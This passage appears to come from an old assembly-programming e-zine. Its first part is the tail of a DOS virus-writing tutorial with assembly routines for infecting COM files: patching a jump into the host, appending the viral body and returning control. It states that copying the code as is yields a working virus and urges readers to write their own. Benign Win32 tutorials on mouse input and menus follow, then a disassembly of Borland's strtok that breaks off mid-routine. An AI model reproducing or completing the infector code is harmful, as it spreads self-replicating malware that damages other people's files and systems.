;    BX  ‐ File handle 
;    CX:DX  ‐ Offset, in bytes (signed 32‐bit integer) 
;    AL  ‐ Mode code (see below) 
;Mode Code:  AL  ‐ Action 
;    0  ‐ Move pointer CX:DX bytes from beginning of file 
;    1  ‐ Move pointer CX:DX bytes from current location 
;    2  ‐ Move pointer CX:DX bytes from end of file 
;Returns:  DX:AX  ‐ New pointer location (signed 32‐bit integer), 
;    or AX  ‐ Error code, if CF is set 
;Error codes:  1  ‐ Invalid mode code 
;    6  ‐ Invalid handle 
 
And the calculate the new jump according to the host size: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Calc_Jump: 
  mov  ax, word ptr [bp+F_Size] 
  sub  ax, 3 
  mov  word ptr [bp+Jump+1], ax 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
Of course a buffer holding the jump instruction and the marker must exist: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Jump    db  0E9h, 2, 0, 'ID' 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
Then you write to the host the calculated jump to the start of your virus: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Write_Jump: 
  mov  ah, 40h 
  mov  cx, 5 
  lea  dx, [bp+offset Jump] 
  int  21h 
  jnc  In_Between 
  jmp  Close_File 
In_Between: 
  cmp  cx, ax 
  jz  PointTo_End 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
After you move the file pointer to the end of the file: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
PointTo_End: 
  mov  ah, 42h 
  mov  al, 2 
  mov  bx, word ptr [bp+F_Handle] 
  mov  cx, 0 
  mov  dx, 0 
  int  21h 
  jnc  Copy_Body 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
And to append  the virus to it all you need to do  is use the routine presented 
for the overwriting virus. 
 
Also don't forget to first save and then restore the AX register since we'll be 
using it  in the virus  (this will avoid  programs like HotDIR  from failing to 
run): 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Save_AX: 
  push  ax 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
To restore it: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Restore_AX: 
  pop  ax 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
WARNING: Be careful with this virus  since it will infect almost every  'clean' 
   COM file in the current directory and all parent directories up to the 
   root! 
 
 
Passing Control Back To The Host 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
To restore control back to the host all you need to do is set the IP to 100h: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
ReturnTo_Host: 
  push  100h 
  ret 
 
  ;mov   di, 100h    ; Another way of accomplishing the same 
  ;jmp   di 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
 
Miscellaneous 
‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Don't forget  to place a 'Virus_Start:'  label at the start  of the viral  code 
(for the appending virus  that is right after the ID byte  and right before the 
delta offset calculation routine;  for the overwriting virus it's  right at the 
start of the code,  since there's no need for a dummy host)  and a 'Virus_End:' 
label at the end of the viral code, right after the initialized data and before 
the uninitialized one. Here's out it's supposed to look like: 
 
Host:          ;This part for the appending virus only 
   [Jump to virus code]     ;"       "          " 
   [IDByte]        ;"       "          " 
Virus_Start: 
   [Virus code] 
   ... 
   [Data that needs to be copyed with the code] 
Virus_End: 
   [Uninitialized data that needs not be copyed] 
 
Change the control flow  instructions according to your virus needs.  Anyway if 
you copy everything as is, you'll end up with a working virus. 
 
 
.BIN File Structure 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
BIN files are exactly like COM files, they  only have a different extension and 
so must be renamed to be run by DOS.  If you want you can  for example set your 
viruses to infect  BIN files if no COM ones are found in the current directory. 
These type of files are normally created by the EXE2BIN program. 
 
 
In Closing 
‐‐‐‐‐‐‐‐‐‐ 
Well with this knowledge you can now start writing  your own viruses.  In future 
articles  I'll explain some  more search  and replication  routines among  some 
other things. If there are any next articles that is! 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING 
                 Mouse Input 
                 by Iczelion 
 
 
We will learn how to receive and respond to mouse input in our window 
procedure. The example program will wait for left mouse clicks and display 
a text string at the exact clicked spot in the client area. 
 
Preliminary: 
 
As with keyboard input, Windows detects and sends notifications about relevant 
mouse activities to each window. These activities include left and right clicks, 
mouse cursor movements over window, double clicks. Unlike keyboard input which 
is directed to the window that has input focus, mouse messages are sent to any 
window that the mouse cursor is over, active or not. In addition, there are mouse 
messages about the non‐client area too. But most of the time, we can blissfully 
ignore them. We can focus on those relating to the client area. 
 
For each left and right mouse button, there are two associated messages: 
WM_LBUTTONDOWN,WM_RBUTTONDOWN and WM_LBUTTONUP, WM_RBUTTONUP messages. For 
a mouse with three buttons, there are also WM_MBUTTONDOWN and WM_MBUTTONUP. 
When the mouse cursor moves over the client area, Windows sends 
WM_MOUSEMOVE messages to the window under the cursor. 
 
A window can receive double click messages, WM_LBUTTONDBCLK or 
WM_RBUTTONDBCLK, if and only if its window class has been defined to 
receive them by including CS_DBLCLKS flag in the class style,else the 
window will receive only a series of mouse button up and down messages. 
For all these messages, the value of lParam contains the position of the 
mouse. The low word is the x‐coordinate, and the high word is the 
y‐coordinate relative to upper left corner of the client area of the 
window. wParam indicates the state of the mouse buttons and Shift and Ctrl 
keys. 
 
 
Content: 
 
include windows.inc 
includelib user32.lib 
includelib kernel32.lib 
includelib gdi32.lib 
 
.data 
ClassName db "SimpleWinClass",0 
AppName  db "Our First Window",0 
MouseClick db 0   ; 0=no click yet 
 
.data? 
hInstance HINSTANCE ? 
CommandLine LPSTR ? 
hitpoint POINT <> 
 
.code 
start: 
    invoke GetModuleHandle, NULL 
    mov    hInstance,eax 
    invoke GetCommandLine 
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT 
    invoke ExitProcess,eax 
 
WinMain proc 
hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD 
    LOCAL wc:WNDCLASSEX 
    LOCAL msg:MSG 
    LOCAL hwnd:HWND 
    mov   wc.cbSize,SIZEOF WNDCLASSEX 
    mov   wc.style, CS_HREDRAW or CS_VREDRAW 
    mov   wc.lpfnWndProc, OFFSET WndProc 
    mov   wc.cbClsExtra,NULL 
    mov   wc.cbWndExtra,NULL 
    push  hInstance 
    pop   wc.hInstance 
    mov   wc.hbrBackground,COLOR_WINDOW+1 
    mov   wc.lpszMenuName,NULL 
    mov   wc.lpszClassName,OFFSET ClassName 
    invoke LoadIcon,NULL,IDI_APPLICATION 
    mov   wc.hIcon,eax 
    mov   wc.hIconSm,0 
    invoke LoadCursor,NULL,IDC_ARROW 
    mov   wc.hCursor,eax 
    invoke RegisterClassEx, addr wc 
    invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ 
     WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ 
     CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ 
     hInst,NULL 
    mov   hwnd,eax 
    invoke ShowWindow, hwnd,SW_SHOWNORMAL 
    invoke UpdateWindow, hwnd 
    .WHILE TRUE 
    invoke GetMessage, ADDR msg,NULL,0,0 
    .BREAK .IF (!eax) 
    invoke DispatchMessage, ADDR msg 
    .ENDW 
    mov     eax,msg.wParam 
    ret 
WinMain endp 
 
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM 
    LOCAL hdc:HDC 
    LOCAL ps:PAINTSTRUCT 
 
    mov   eax,uMsg 
    .IF eax==WM_DESTROY 
  invoke PostQuitMessage,NULL 
    .ELSEIF eax==WM_LBUTTONDOWN 
  mov eax,lParam 
  shl eax,16 
  shr eax,16 
  mov hitpoint.x,eax 
  mov eax,lParam 
  shr eax,16 
  mov hitpoint.y,eax 
  mov MouseClick,TRUE 
  invoke InvalidateRect,hWnd,NULL,TRUE 
    .ELSEIF eax==WM_PAINT 
  invoke BeginPaint,hWnd, ADDR ps 
  mov    hdc,eax 
  .IF MouseClick 
      invoke lstrlen,ADDR AppName 
      invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax 
  .ENDIF 
  invoke EndPaint,hWnd, ADDR ps 
    .ELSE 
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam 
  ret 
    .ENDIF 
    xor    eax,eax 
    ret 
WndProc endp 
end start 
 
Time to analyze the program. 
 
    .ELSEIF eax==WM_LBUTTONDOWN 
  mov eax,lParam 
  and eax,0FFFFh 
  mov hitpoint.x,eax 
  mov eax,lParam 
  shr eax,16 
  mov hitpoint.y,eax 
  mov MouseClick,TRUE 
  invoke InvalidateRect,hWnd,NULL,TRUE 
 
The window procedure waits for left mouse button click. When it receives 
WM_LBUTTONDOWN, lParam contains the coordinate of the mouse cursor in the 
client area. It saves the coordinate in a variable of type POINT which is 
defined as: 
 
POINT STRUCT 
    x  dd ? 
    y  dd ? 
POINT ENDS 
 
and sets the flag, MouseClick, to TRUE, meaning that there's at least a 
left mouse button click in the client area. 
 
  mov eax,lParam 
  and eax,0FFFFh 
  mov hitpoint.x,eax 
 
Since x‐coordinate is the low word of lParam and the members of POINT 
structure are 32‐bit in size, we have to zero out the high word of eax 
prior to storing it in hitpoint.x.
 
  shr eax,16 
  mov hitpoint.y,eax 
 
Because y‐coordinate is the high word of lParam, we must put it in the low 
word of eax prior to storing it in hitpoint.y. We do this by shifting eax 
16 bits to the right. 
 
After storing the mouse position, we set the flag, MouseClick, to TRUE in 
order to let the painting code in WM_PAINT section know that there's at 
least a click in the client area so it can draw the string at the mouse 
position. Next  we call InvalidateRect function to force the window to 
repaint its entire client area. 
 
  .IF MouseClick 
      invoke lstrlen,ADDR AppName 
      invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax 
  .ENDIF 
 
The painting code in WM_PAINT section must check if MouseClick is true, 
since when the window was created, it received a WM_PAINT message which at 
that time, no mouse click had occurred so it should not draw the string in 
the client area. We initialize MouseClick to FALSE and change its value to 
TRUE when an actual mouse click occurs. 
If at least one mouse click has occurred, it draws the string in the client 
area at the mouse position. Note that it calls lstrlen to get the length of 
the string to display and sends the length as the last parameter of TextOut 
function. 
 
      [Reprinted With permission from Iczelion's Win32 Assembly HomePage] 
       http://203.148.211.201/iczelion/index.html 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING 
                 Menus 
                 by Iczelion 
 
 
In this tutorial, we will learn how to incorporate a menu into our window. 
 
Preliminary: 
 
Menu is one of the most important component in your window. Menu presents a 
list of services a program offers to the user. The user doesn't have to 
read the manual included with the program to be able to  use it, he can 
peruse the menu to get an overview of the capability of a particular 
program and start playing with it immediately. Since a menu is a tool to 
get the user up and running quickly, you should follow the standard. 
Succintly put, the first two menu items should be File and Edit and the 
last should be Help. You can insert your own menu items between Edit and 
Help. If a menu item invokes a dialog box, you should append an ellipsis 
(...) to the menu string. 
 
Menu is a kind of resource. There are several kinds of resources such as 
dialog box, string table, icon, bitmap, menu etc. Resources are described 
in a separated file called a resource file which normally has .rc 
extension. You then combine the resources with the source code during the 
link stage. The final product is an executable file which contains both 
instructions and resources. 
 
You can write resource scripts using any text editor. They're composed of 
phrases which describe the appearances and other attributes of the 
resources used in a particular program Although you can write resource 
scripts with a text editor, it's rather difficult. A better alternative is 
to use a resource editor which lets you visually design any resource with 
ease. Resource editors are usually included in compiler packages such as 
Visual C++, Borland C++, etc. They write a resource file for you. 
You describe a menu resource like this: 
 
 
     MyMenu  MENU 
     { 
  [menu list here] 
     } 
 
C programmers may recognize that it is similar to declaring a structure. 
MyMenu being a menu name followed by MENU keyword and menu list within 
curly brackets. Alternatively, you can use BEGIN and END instead of the 
curly brackets if you wish. This syntax is more palatable to Pascal 
programmers. 
 
Menu list can be either MENUITEM or POPUP statement. 
 
MENUITEM statement defines a menu bar which doesn't invoke a popup menu 
when selected.The syntax is as follows: 
 
     MENUITEM "&text", ID [,options] 
 
It begins by MENUITEM keyword followed by the text you want to use as menu 
bar string. Note the ampersand. It causes the character that follows it to 
be underlined. Following the text string is the ID of the menu item. The ID 
is a number that will be used to identify the menu item in the message sent 
to the window procedure when the menu item is selected. As such, each menu 
ID must be unique among themselves. 
Options are optional. Available options are as follows: 
 
   o GRAYED  The menu item is inactive, and it does not generate a 
     WM_COMMAND message. The text is grayed. 
   o INACTIVE The menu item is inactive, and it does not generate a 
     WM_COMMAND message. The text is displayed normally. 
   o MENUBREAK  This item and the following items appear on a new line of 
     the menu. 
   o HELP  This item and the following items are right‐justified. 
 
You can use one of the above option or combine them with "or" operator. 
Beware that INACTIVE and GRAYED cannot be combined together. 
POPUP statement has the following syntax: 
 
     POPUP "&text" [,options] 
     { 
       [menu list] 
     } 
 
POPUP statement defines a menu bar that, when selected, drops down a list 
of menu items in a small popup window. The menu list can be a MENUTIEM or 
POPUP statement. There's a special kind of MENUITEM statement, MENUITEM 
SEPARATOR, which will draw a horizontal line in the popup window. 
 
The next step after you are finished with the menu resource script is to 
reference it in your program. 
You can do this in two different places in your program. 
   o In lpszMenuName member of WNDCLASSEX structure. Say, if you have a 
     menu named "FirstMenu", you can assigned the menu to your window like 
     this: 
 
         .DATA 
        MenuName  db "FirstMenu",0 
         ........................... 
         ........................... 
         .CODE 
        ........................... 
        mov   wc.lpszMenuName, OFFSET MenuName 
        ........................... 
   o In menu handle parameter of CreateWindowEx like this: 
         .DATA 
        MenuName  db "FirstMenu",0 
        hMenu HMENU ? 
         ........................... 
         ........................... 
         .CODE 
        ........................... 
        invoke LoadMenu, hInst, OFFSET MenuName 
        mov   hMenu, eax 
        invoke CreateWindowEx,NULL,OFFSET ClsName,\ 
        OFFSET Caption, WS_OVERLAPPEDWINDOW,\ 
        CW_USEDEFAULT,CW_USEDEFAULT,\ 
        CW_USEDEFAULT,CW_USEDEFAULT,\ 
        NULL,\ 
        hMenu,\ 
        hInst,\ 
        NULL\ 
        ........................... 
So you may ask, what's the difference between these two methods? 
When you reference the menu in the WNDCLASSEX structure, the menu becomes 
the "default" menu for the window class. Every window of that class will 
have the same menu. 
 
If you want each window created from the same class to have different 
menus, you must choose the second form. In this case, any window that is 
passed a menu handle in its CreateWindowEx function will have a menu that 
"overrides" the default menu defined in the WNDCLASSEX structure. 
Next we will examine how a menu notifies the window procedure when the user 
selects a menu item. 
When the user selects a menu item, the window procedure will receive a 
WM_COMMAND message. The low word of wParam contains the menu ID of the 
selected menu item. 
Now we have sufficient information to create and use a menu. Let's do it. 
 
Content: 
 
The first example shows how to create and use a menu by specifying the menu 
name in the window class. 
 
include windows.inc 
includelib user32.lib 
includelib kernel32.lib 
includelib gdi32.lib 
 
.data 
ClassName db "SimpleWinClass",0 
AppName  db "Our First Window",0 
MenuName db "FirstMenu",0     ; The name of our menu in the 
resource file. 
Test_string db "You selected Test menu item",0 
Hello_string db "Hello, my friend",0 
Goodbye_string db "See you again, bye",0 
 
.data? 
hInstance HINSTANCE ? 
CommandLine LPSTR ? 
 
.const 
IDM_TEST equ 1        ; Menu IDs 
IDM_HELLO equ 2 
IDM_GOODBYE equ 3 
IDM_EXIT equ 4 
 
.code 
start: 
    invoke GetModuleHandle, NULL 
    mov    hInstance,eax 
    invoke GetCommandLine 
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT 
    invoke ExitProcess,eax 
 
WinMain proc 
hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD 
    LOCAL wc:WNDCLASSEX 
    LOCAL msg:MSG 
    LOCAL hwnd:HWND 
    mov   wc.cbSize,SIZEOF WNDCLASSEX 
    mov   wc.style, CS_HREDRAW or CS_VREDRAW 
    mov   wc.lpfnWndProc, OFFSET WndProc 
    mov   wc.cbClsExtra,NULL 
    mov   wc.cbWndExtra,NULL 
    push  hInstance 
    pop   wc.hInstance 
    mov   wc.hbrBackground,COLOR_WINDOW+1 
    mov   wc.lpszMenuName,OFFSET MenuName   ; Put our menu name here 
    mov   wc.lpszClassName,OFFSET ClassName 
    invoke LoadIcon,NULL,IDI_APPLICATION 
    mov   wc.hIcon,eax 
    mov   wc.hIconSm,0 
    invoke LoadCursor,NULL,IDC_ARROW 
    mov   wc.hCursor,eax 
    invoke RegisterClassEx, addr wc 
    invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ 
     WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ 
     CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ 
     hInst,NULL 
    mov   hwnd,eax 
    invoke ShowWindow, hwnd,SW_SHOWNORMAL 
    invoke UpdateWindow, hwnd 
    .WHILE TRUE 
    invoke GetMessage, ADDR msg,NULL,0,0 
    .BREAK .IF (!eax) 
    invoke DispatchMessage, ADDR msg 
    .ENDW 
    mov     eax,msg.wParam 
    ret 
WinMain endp 
 
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM 
    mov   eax,uMsg 
    .IF eax==WM_DESTROY 
  invoke PostQuitMessage,NULL 
    .ELSEIF eax==WM_COMMAND 
  mov eax,wParam 
  .IF ax==IDM_TEST 
      invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK 
  .ELSEIF ax==IDM_HELLO 
      invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK 
 
  .ELSEIF ax==IDM_GOODBYE 
      invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, 
MB_OK 
  .ELSE 
      invoke DestroyWindow,hWnd 
  .ENDIF 
    .ELSE 
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam 
  ret 
    .ENDIF 
    xor    eax,eax 
    ret 
WndProc endp 
end start 
**************************************************************** 
          Menu.rc 
**************************************************************** 
#define IDM_TEST 1 
#define IDM_HELLO 2 
#define IDM_GOODBYE 3 
#define IDM_EXIT 4 
 
FirstMenu MENU 

 POPUP "&PopUp" 
  { 
   MENUITEM "&Say Hello",IDM_HELLO 
   MENUITEM "Say &GoodBye", IDM_GOODBYE 
   MENUITEM SEPARATOR 
   MENUITEM "E&xit",IDM_EXIT
  } 
 MENUITEM "&Test", IDM_TEST 

  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
Let's analyze the resource file first. 
 
     #define IDM_TEST 1          /* equal to IDM_TEST equ 1*/ 
     #define IDM_HELLO 2 
     #define IDM_GOODBYE 3 
     #define IDM_EXIT 4 
 
The above lines define the menu IDs used by the menu script. You can assign 
any value to the ID as long as the value is unique in the menu. 
 
FirstMenu MENU 
 
Declare your menu with MENU keyword. 
 
 POPUP "&PopUp" 
  { 
   MENUITEM "&Say Hello",IDM_HELLO 
   MENUITEM "Say &GoodBye", IDM_GOODBYE 
   MENUITEM SEPARATOR 
   MENUITEM "E&xit",IDM_EXIT
  } 
 
Define a popup menu with four menu items, the third one is a menu 
separator. 
 
 MENUITEM "&Test", IDM_TEST 
 
Define a menu bar in the main menu. 
Next we will examine the source code. 
 
     MenuName db "FirstMenu",0          ; The name of our menu in the 
     resource file. 
     Test_string db "You selected Test menu item",0 
     Hello_string db "Hello, my friend",0 
     Goodbye_string db "See you again, bye",0 
 
MenuName is the name of the menu in the resource file. Note that you can 
define more than one menu in the resource file so you must specify which 
menu you want to use. The remaining three lines define the text strings to 
be displayed in message boxes that are invoked when the appropriate menu 
item is selected by the user. 
 
     IDM_TEST equ 1           ; Menu IDs 
     IDM_HELLO equ 2 
     IDM_GOODBYE equ 3 
     IDM_EXIT equ 4 
 
Define menu IDs for use in the window procedure. These values MUST be 
identical to those defined in the resource file. 
 
    .ELSEIF eax==WM_COMMAND 
  mov eax,wParam 
  .IF ax==IDM_TEST 
      invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK 
  .ELSEIF ax==IDM_HELLO 
      invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK 
 
  .ELSEIF ax==IDM_GOODBYE 
      invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, 
MB_OK 
  .ELSE 
      invoke DestroyWindow,hWnd 
  .ENDIF 
 
In the window procedure, we process WM_COMMAND messages. When the user 
selects a menu item, the menu ID of that menu item is sended to the window 
procedure in the low word of wParam along with the WM_COMMAND message. So 
when we store the value of wParam in eax, we compare the value in ax to the 
menu IDs we defined previously and act accordingly. In the first three 
cases, when the user selects Test, Say Hello, and Say GoodBye menu items, 
we just display a text string in a message box. 
If the user selects Exit menu item, we call DestroyWindow with the handle 
of our window as its parameter which will close our window. 
As you can see, specifying menu name in a window class is quite easy and 
straightforward. However you can also use an alternate method to load a 
menu in your window. I won't show the entire source code here. The resource 
file is the same in both methods. There are some minor changes in the 
source file which I 'll show below. 
 
     .data? 
     hInstance HINSTANCE ? 
     CommandLine LPSTR ? 
     hMenu HMENU ?          ; handle of our menu 
 
Define a variable of type HMENU to store our menu handle. 
 
  invoke LoadMenu, hInst, OFFSET MenuName 
  mov    hMenu,eax 
  INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ 
     WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ 
     CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\ 
     hInst,NULL 
 
Before calling CreateWindowEx, we call LoadMenu with the instance handle 
and a pointer to the name of our menu. LoadMenu returns the handle of our 
menu in the resource file which we pass to CreateWindowEx. 
 
 
      [Reprinted With permission from Iczelion's Win32 Assembly HomePage] 
       http://203.148.211.201/iczelion/index.html 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::........................THE.C.STANDARD.LIBRARY.IN.ASSEMBLY 
                 The _strtok function 
                 by Xbios2 
 
 
I. INTRODUCTION 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
C syntax: char *strtok(char *s1, const char *s2); 
 
 
Description 
 
strtok considers the string s1 to consist of a sequence of zero or more text 
tokens, separated by spans of one or more characters from the separator string 
s2. 
The first call to strtok returns a pointer to the first character of the first 
token in s1 and writes a null character into s1 immediately following the 
returned token. Subsequent calls with null for the first argument will work 
through the string s1 in this way, until no tokens remain. 
The separator string, s2, can be different from call to call. 
 
 
Comparing different strtok functions requires a much different approach than 
strlen and strcpy. This is because the overall speed is not related only to n, 
the length of the main string, but on many other things, such as the total 
number of tokens, the number of characters between the tokens, the length of the 
delimiter string, etc... 
But this is better seen in practice: 
 
 
 
II. _STRTOK IN BC402 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
This is the disassembly of the Borland C++ 4.02 library. You can read it as an 
example of non‐optimized code, otherwise you may just skip and read the 
explanation. 
 
_strtok   proc near 
 
v_retval  = dword ptr ‐8 
v_pointer  = dword ptr ‐4 
a_s1    = dword ptr  8 
a_s2    = dword ptr  0Ch 
 
    enter  8, 0 
    push  edi 
    push  esi 
    mov  edi, [ebp+a_s1] 
    call  __thread_data 
    add  eax, 18h 
    test  edi, edi 
    mov  [ebp+v_pointer], eax 
    jnz  short first_time 
    mov  eax, [ebp+v_pointer] 
    mov  edi, [eax]
 
first_time:  jmp  short enterPhase1 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
loopPhase1:  mov  esi, [ebp+a_s2] 
    jmp  short enterScan1 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
loopScan1:  mov  al, [esi] 
    cmp  al, [edi] 
    jz  short endScan1 
    inc  esi 
 
enterScan1:  mov  al, [esi] 
    test  al, al 
    jnz  short loopScan1 
 
endScan1:  mov  al, [esi] 
    test  al, al 
    jz  short exitPhase1 
    inc  edi 
 
enterPhase1:  mov  al, [edi] 
    test  al, al 
    jnz  short loopPhase1 
 
exitPhase1:  mov  al, [edi] 
    test  al, al 
    jnz  short phase2 
    mov  eax, [ebp+v_pointer] 
    mov  [eax], edi
    xor  eax, eax 
    jmp  short return 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
phase2:   mov  [ebp+v_retval], edi 
    jmp  short enterPhase2 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
loopPhase2:  mov  esi, [ebp+a_s2] 
    jmp  short enterScan2 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
loopScan2:  mov  al, [esi] 
    cmp  al, [edi] 
    jnz  short nextScan2 
    mov  byte ptr [edi], 0 
    inc  edi 
    mov  eax, [ebp+v_pointer] 
    mov  [eax], edi
    mov  eax, [ebp+v_retval] 
    jmp  short return 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
nextScan2:  inc  esi 
 
enterScan2:  mov  al, [esi] 
    test  al, al 
    jnz  short loopScan2 
    inc  edi 
 
